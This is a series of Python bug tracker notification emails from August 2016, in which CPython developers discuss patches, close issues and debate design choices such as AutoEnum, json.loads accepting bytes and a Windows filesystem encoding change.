<1471431159.59.0.359627106963.issue27781@psf.upfronthosting.co.za> STINNER Victor added the comment: Steve Dower: Please don't use git format for diff, or the bug tracker is unable to create reviews. I regenerated the patch. By the way, you introduced a bug in posix_do_stat(): you added a new "else" in the !MS_WINDOWS path which leads to a compilation error. I fixed it. ---------- Added file: http://bugs.python.org/file44131/fsencoding.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 06:57:35 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 10:57:35 +0000 Subject: [issue27749] multprocessing errors on WindowsWriteFile() argument 1 must be int, not None; OSError: handle is closed In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471431455.03.0.931472728409.issue27749@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: python 3.5.2 maybe crash in windows -> multprocessing errors on WindowsWriteFile() argument 1 must be int, not None; OSError: handle is closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 06:57:43 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 10:57:43 +0000 Subject: [issue27749] multprocessing errors on Windows: WriteFile() argument 1 must be int, not None; OSError: handle is closed In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471431463.59.0.70218151245.issue27749@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: multprocessing errors on WindowsWriteFile() argument 1 must be int, not None; OSError: handle is closed -> multprocessing errors on Windows: WriteFile() argument 1 must be int, not None; OSError: handle is closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 06:59:09 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 10:59:09 +0000 Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in numeric literals In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za> Message-ID: <1471431549.39.0.117892598393.issue26331@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: Tokenizer: allow underscores for grouping in numeric literals -> PEP 515: Tokenizer: allow underscores for grouping in numeric literals _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:20:39 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 11:20:39 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1471432839.64.0.917859929356.issue27744@psf.upfronthosting.co.za> STINNER Victor added the comment: I reviewed AF_ALG-kernel-crypto-support-for-socket-module.patch. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:30:18 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 11:30:18 +0000 Subject: [issue26200] SETREF adds unnecessary work in some cases In-Reply-To: <1453745024.51.0.674954872761.issue26200@psf.upfronthosting.co.za> Message-ID: <1471433418.1.0.210774138923.issue26200@psf.upfronthosting.co.za> STINNER Victor added the comment: > Also, putting a function call inside a macro is a worrisome practice in C. I conccur with Raymond: it can be very painful if you get a segfault on such line. What is crashing? The function call? DECREF? INCREF? something else? It's also more painful to debug such code in gdb step by step. I dislike py_setref_extra.patch. I prefer more verbose C code, easy to debug. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:48:50 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 11:48:50 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1471434530.12.0.495739502541.issue16764@psf.upfronthosting.co.za> STINNER Victor added the comment: Oops, I reviewed the patch before seeing that Serhiy already pushed it :-) Ignore my comment. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:53:12 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 11:53:12 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1471434792.74.0.309322419506.issue27726@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:53:23 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 11:53:23 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1471434803.03.0.192701948651.issue27726@psf.upfronthosting.co.za> STINNER Victor added the comment: Thanks St?phane for your fix. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:56:40 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 11:56:40 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1471435000.53.0.101791160845.issue27726@psf.upfronthosting.co.za> STINNER Victor added the comment: Oops, I didn't mention the issue number in the change. changeset: 102724:8455902b3b8e tag: tip user: Victor Stinner date: Wed Aug 17 13:51:52 2016 +0200 files: Makefile.pre.in description: "make tags": remove -t option of ctags The option was kept for backward compatibility, but it was completly removed recently. Patch written by St?phane Wirtel. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 07:59:23 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 11:59:23 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <20160817115920.23552.48558.6B86877E@psf.io> Roundup Robot added the comment: New changeset cbe87a9a0cf2 by Victor Stinner in branch 'default': Fix "make tags": set locale to C to call sort https://hg.python.org/cpython/rev/cbe87a9a0cf2 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:04:40 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 12:04:40 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <20160817120432.11451.20811.6D416726@psf.io> Roundup Robot added the comment: New changeset ed95e9ca2699 by Victor Stinner in branch '3.5': Issue #27726: Fix "make tags" https://hg.python.org/cpython/rev/ed95e9ca2699 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:06:30 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:06:30 +0000 Subject: [issue24853] Py_Finalize doesn't clean up PyImport_Inittab In-Reply-To: <1439431834.18.0.462174995045.issue24853@psf.upfronthosting.co.za> Message-ID: <1471435590.2.0.0880347111228.issue24853@psf.upfronthosting.co.za> STINNER Victor added the comment: > This means initialize/run script/finalize will crash the second time, since the inittab can have stale entries. Sorry, I don't understand. inittab: do you mean _PyImport_Inittab defined in Modules/config.c or PC/config.c? This table is constant, no? Are you able to reproduce a crash? I suggest to close the issue as not a bug :-p ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:15:37 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:15:37 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471436137.82.0.497640902981.issue23591@psf.upfronthosting.co.za> STINNER Victor added the comment: I really like the idea of IntFlags. ---------- nosy: +haypo title: Add Flags and IntFlags -> enum: Add Flags and IntFlags _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:16:53 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:16:53 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471436213.4.0.298021505961.issue23591@psf.upfronthosting.co.za> STINNER Victor added the comment: I expected better repr for such code: >>> socket.SOCK_STREAM | socket.SOCK_CLOEXEC 524289 >>> os.O_RDONLY | os.O_APPEND 1024 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:20:15 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:20:15 +0000 Subject: [issue10976] accept bytes in json.loads() In-Reply-To: <1295636509.41.0.0138366952356.issue10976@psf.upfronthosting.co.za> Message-ID: <1471436415.56.0.774266452642.issue10976@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: json.loads() raises TypeError on bytes object -> accept bytes in json.loads() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:20:19 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:20:19 +0000 Subject: [issue10976] accept bytes in json.loads() In-Reply-To: <1295636509.41.0.0138366952356.issue10976@psf.upfronthosting.co.za> Message-ID: <1471436419.43.0.61254805861.issue10976@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:20:36 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:20:36 +0000 Subject: [issue27765] Accept UTF-8 encoded bytes as input to json.loads() In-Reply-To: <1471245628.7.0.787756575079.issue27765@psf.upfronthosting.co.za> Message-ID: <1471436436.8.0.432772808479.issue27765@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- resolution: -> duplicate status: open -> closed superseder: -> accept bytes in json.loads() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:26:54 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:26:54 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1471436814.16.0.231675631009.issue27706@psf.upfronthosting.co.za> STINNER Victor added the comment: "Right now the way to work around this is to get some deterministic hash from your string; one mechanism being a truncated SHA256 hash, ..." It looks like I missed something. Lib/random.py already computes the SHA-512 hash of you pass a string to random.Random constructor? Using a string as a seed for random.Random already works as expected in Python 3.6: haypo at selma$ python3 -c "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" 8755240310 6396067846301608395 haypo at selma$ python3 -c "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" 8755240310 -1771227904188177035 haypo at selma$ python3 -c "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" 8755240310 1726464324144904308 haypo at selma$ python3 -c "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" 8755240310 2069899884777593571 haypo at selma$ python3 -c "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" 8755240310 -8244933646981095152 haypo at selma$ python3 -c "import random; r=random.Random('abc'); print(''.join(map(str, (r.randrange(10) for x in range(10)))), hash('abc'))" 8755240310 -3269879388324739111 It was already the case in Python 2.7. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:28:10 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 17 Aug 2016 12:28:10 +0000 Subject: [issue10976] accept bytes in json.loads() In-Reply-To: <1295636509.41.0.0138366952356.issue10976@psf.upfronthosting.co.za> Message-ID: <1471436890.67.0.33745630773.issue10976@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- nosy: -pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:28:11 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:28:11 +0000 Subject: [issue27599] Buffer overrun in binascii In-Reply-To: <1469291492.89.0.37008226611.issue27599@psf.upfronthosting.co.za> Message-ID: <1471436891.75.0.102471451376.issue27599@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:31:18 2016 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 17 Aug 2016 12:31:18 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471437078.16.0.307745785519.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: Victor: by "way too slow", I really *do* mean way too slow. :-) floor_nroot does arithmetic with integers of bit-length approximately 54*n. For small n, that's fine, but if someone tried to take the geometric mean of a list of 50000 values (which it seems to me should be a perfectly reasonable use-case), floor_nroot would then be trying to do computations with multi-million-bit integers. The `a**(n-1)` operation in particular would be a killer for large `n`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:34:59 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:34:59 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1471437299.37.0.790418427378.issue27574@psf.upfronthosting.co.za> STINNER Victor added the comment: The issue can now be closed no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:36:03 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 17 Aug 2016 12:36:03 +0000 Subject: [issue27765] Accept UTF-8 encoded bytes as input to json.loads() In-Reply-To: <1471245628.7.0.787756575079.issue27765@psf.upfronthosting.co.za> Message-ID: <1471437363.8.0.0925405577456.issue27765@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- stage: needs patch -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:46:23 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 12:46:23 +0000 Subject: [issue26741] subprocess.Popen should emit a ResourceWarning in destructor if the process is still running In-Reply-To: <1460501347.41.0.70782898945.issue26741@psf.upfronthosting.co.za> Message-ID: <1471437983.1.0.737692854889.issue26741@psf.upfronthosting.co.za> STINNER Victor added the comment: Oops, I forget to close the issue. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 08:56:39 2016 From: report at bugs.python.org (John Hagen) Date: Wed, 17 Aug 2016 12:56:39 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471438599.35.0.315369536476.issue26988@psf.upfronthosting.co.za> John Hagen added the comment: @Raymond, you raise valid concerns to be sure. Hoping we can work something out. @Ethan, what are your thoughts? It's not just C that has enums where you can define a unique group of names and omit the values for clarity when they are not significant: C++: http://en.cppreference.com/w/cpp/language/enum C#: https://msdn.microsoft.com/en-us/library/sbbt4032.aspx Java: https://docs.oracle.com/javase/tutorial/java/javaOO/enum.html Rust: https://doc.rust-lang.org/book/enums.html In my experience this is the most common and simple use case for enums. Raymond, what are your thoughts about the version of AutoEnum that requires that a bare tuple be used as the value. It has been in the Python docs since 3.4 and was actually the original request of this issue: https://docs.python.org/library/enum.html#autonumber It avoids many of the concerns that you've raised while still providing a way to create Enums in the normal class declaration method users would expect with a minimum amount of boilerplate. Note that normally you want to use @enum.unique with a normal Enum, but AutoEnum also allows you to omit that boilerplate as you can't accidentally alias the values. @enum.unique class Color(enum.Enum): aquamarine = 1 blue = 2 fushia = 3 # inserting a member here (perhaps because it's clearest to keep these in alphabetic order) # results in having to increment all following members ... green = 40 red = 41 vs. class Color(enum.AutoEnum): aquamarine = () blue = () fushia = () # inserting a member here (perhaps because it's clearest to keep these in alphabetic order) # results in no refactoring ... (30+ more) green = () red = () A big advantage of the class based Enums compared to the functional API is that you can clearly document an Enum and its members in way Sphinx can take advantage of and developers would be used to. # Assuming tuple assignment version for this example. class ClientOperationMode(enum.AutoEnum): """Modes of operations of the network client.""" push = () """The client pushes data to the server automatically.""" pull = () """The client pulls commands from the server.""" hybrid = () """The client both pushes data and pulls for commands from the server.""" Sphinx will document this AutoEnum like a normal class, pulling in the class docstring, and attribute docstrings. I don't see an obvious way to do this in the functional API docs: https://docs.python.org/library/enum.html#functional-api ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:10:06 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Wed, 17 Aug 2016 13:10:06 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471439406.47.0.111494920534.issue27781@psf.upfronthosting.co.za> Changes by Chi Hsuan Yen : ---------- nosy: +Chi Hsuan Yen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:17:12 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:17:12 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() Message-ID: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> New submission from STINNER Victor: When reading the issue #27725, I saw that x_sub() of Objects/longobject.c is too careful just to change the sign of the newly created number: z cannot be shared at the end of the function, before z is normalized. Attached patch simplifies the code. See also the issue #27073, another similar simplification. ---------- files: x_sub.patch keywords: patch messages: 272933 nosy: haypo, mark.dickinson, serhiy.storchaka priority: normal severity: normal status: open title: longobject.c: simplify x_sub(), inline _PyLong_Negate() versions: Python 3.6 Added file: http://bugs.python.org/file44132/x_sub.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:17:18 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:17:18 +0000 Subject: [issue27786] longobject.c: simplify x_sub(), inline _PyLong_Negate() In-Reply-To: <1471439832.76.0.773919988568.issue27786@psf.upfronthosting.co.za> Message-ID: <1471439838.12.0.174776537412.issue27786@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +Oren Milman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:18:54 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:18:54 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1471439934.74.0.0315214200477.issue27725@psf.upfronthosting.co.za> STINNER Victor added the comment: I suggest to close this issue. Aliasing issues are complex and simply cannot be fixed in Python 2. The root issue has been fixed in Python 3, it required to change the main C structures of Python objects. The fix for your issue to already known, use -qalias=noansi with XLC. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:19:28 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 13:19:28 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471439968.84.0.547039064402.issue27781@psf.upfronthosting.co.za> Steve Dower added the comment: Thanks for the regen. I don't think git format is the problem as most of my patches are fine, it's probably because it was in a patch queue and so the parent isn't actually a known commit. I haven't tested whether this works without my other console patches but I think it should. Is there a surrogatepass option? If so, I'll definitely use that, as that'll fix the one remaining edge case. I suspect we'll have to go to Guido to get a ruling on the default, but I'll add an environment variable to switch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:19:47 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:19:47 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1471439987.34.0.682188262013.issue27725@psf.upfronthosting.co.za> STINNER Victor added the comment: I mean that fixing ob->ob_size in Objects/longobject.c is not enough. You should also fix C structures and fix all other C files in the code base... It's too late for such major refactoring in Python 2. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:21:49 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 17 Aug 2016 13:21:49 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1471440109.07.0.955782996815.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: Patch 12 has the following changes: * Change the chunked_encoding parameter to keyword-only * Drop most of the change regarding the UpdatingFile test (see code review) * Update the urlopen() TypeError to mention ?data? may be a file object * Fix and update the tests (they weren?t actually being run) * Various minor documentation corrections, e.g. wrong parameter name. I think there are a few of my comments to Demian?s patches that are still relevant, but they are just opportunities for improving the code (e.g. making the chunking iteration more efficient and readable). This version is hopefully ?good enough?. ---------- Added file: http://bugs.python.org/file44133/issue12319_12.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:25:33 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 17 Aug 2016 13:25:33 +0000 Subject: [issue27785] Module platform: Versions of Windows In-Reply-To: <1471424921.88.0.870177840736.issue27785@psf.upfronthosting.co.za> Message-ID: <1471440333.57.0.0224403297108.issue27785@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:25:48 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:25:48 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471440348.68.0.365156887363.issue27558@psf.upfronthosting.co.za> STINNER Victor added the comment: I reviewed issue27558_v2.patch, see my comments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:27:31 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:27:31 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> Message-ID: <1471440451.27.0.469285205132.issue27731@psf.upfronthosting.co.za> STINNER Victor added the comment: Hum, but we use the same binary (.exe) for all Windows versions. Does it mean that we drop support for Windows < 10 in Python 3.6? ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:30:01 2016 From: report at bugs.python.org (Stefan Krah) Date: Wed, 17 Aug 2016 13:30:01 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1471440601.42.0.642201724313.issue27725@psf.upfronthosting.co.za> Stefan Krah added the comment: Agreed, the changes are too big for 2.7. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:32:31 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:32:31 +0000 Subject: [issue27682] wsgiref: Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1471440751.77.0.76769887833.issue27682@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine -> wsgiref: Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:33:24 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 13:33:24 +0000 Subject: [issue18880] ssl.SSLSocket shutdown doesn't behave like socket.shutdown In-Reply-To: <1377812218.52.0.68669263864.issue18880@psf.upfronthosting.co.za> Message-ID: <1471440804.56.0.396828982528.issue18880@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- type: behavior -> security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:37:08 2016 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 17 Aug 2016 13:37:08 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471441028.53.0.145969894603.issue26988@psf.upfronthosting.co.za> Emanuel Barry added the comment: I tend to like all things magic, but the more I think about it, and the less I like it being a part of the standard library. I've had a use for this feature before, and when I did, I cooked my own 12-lines subclass of EnumMeta and _EnumDict. Raymond's points are pretty spot-on, and I also think that this shouldn't go in the stdlib. There's still time. While this particular flavour of magic sounds too, well, magic, for Python or even myself, I think a less magical approach can be taken. Namely, something like AutoNumberedEnum which requires values to be empty tuples is being explicit about what you want and not allowing typos in the class definition. Raymond's point about (temporarily) commenting out enum members breaking the order highlights this, and while this approach doesn't solve it, it makes it obvious that there is *something* that changed. Another approach, which doesn't exclude the above, is to make EnumMeta and _EnumDict public and documented classes (!), thus allowing people like me to create their own blueberry-flavoured magic enumerations without any impact on the people who don't use my code. Or if I don't feel like reinventing the wheel, I can just pip install the module and use that instead. I think that the whole idea of making enums in Python work like they do in C is looking at the problem from the wrong angle. It's true that Python takes some of its design from C, but naively trying to replicate C-like behaviour with C-like syntax doesn't work all the time. How often do beginners think 'x ^ y' means 'x to the power of y', and are then surprised by the behaviour? I think this version of Enum raises the barrier to entry for new programmers. Enum is a nice feature, and it helps new and old programmers alike write clean(er) code for various purposes. When a programmer sees this use, they won't think "oh this must call __getitem__ and then assign an automatic value", they'll wonder "why is this code even running?". And then it's up to the Raymonds of this world to explain that Enum uses a metaclass (which, I'm sure, is not a topic they'll want to tackle by the time these programmers reach Enum) and that the mapping overloads __getitem__. All in all, this magical approach is just too magical for Python. I understand that magic is fun to have and play with, but the standard libary isn't where you should keep your toys. I use a throwaway repo for all my magic this-is-not-a-good-idea-but-I-wanna-do-it-anyway ideas, and this is where I think such magic goes. It definitely doesn't belong in the standard library, within an arm's reach of the first curious programmer to wander there. ---------- nosy: +ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:43:01 2016 From: report at bugs.python.org (REIX Tony) Date: Wed, 17 Aug 2016 13:43:01 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1471441381.12.0.0545474601978.issue27725@psf.upfronthosting.co.za> REIX Tony added the comment: OK. However, compiling ONLY the file Objects/longobject.c with -qalias=noansi did fix the issue on AIX. That could be the same on Linux. I haven't tried to use Py_SIZE() in all places where it should be used. Now trying to figure out why GCC behaves worst than XLC. Anyway, I have a satisfactory work-around. Thanks for your help ! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 09:57:55 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 13:57:55 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471442275.85.0.417651310513.issue27558@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for your review, Victor. :) Leave a reply. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:03:30 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:03:30 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1471442610.46.0.333295388695.issue27725@psf.upfronthosting.co.za> STINNER Victor added the comment: > However, compiling ONLY the file Objects/longobject.c with -qalias=noansi did fix the issue on AIX. That could be the same on Linux. Nobody asked to only set the compiler file to only this file. As we said, the issue is sprayed in all the C code base. The whole Python 2 project has aliasing issues. Extension modules have same the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:14:27 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 14:14:27 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <20160817141415.92143.42712.5A6092EE@psf.io> Roundup Robot added the comment: New changeset ac2bc921169c by Victor Stinner in branch '3.5': Issue #27698: Add socketpair to socket.__all__ on Windows https://hg.python.org/cpython/rev/ac2bc921169c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 10:14:54 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 14:14:54 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1471443294.88.0.676606023931.issue27698@psf.upfronthosting.co.za> STINNER Victor added the comment: The issue should now be fixed by my change. Thanks for the bug report! ---------- nosy: +haypo resolution: -> fixed status: open -> closed _______________________________________ 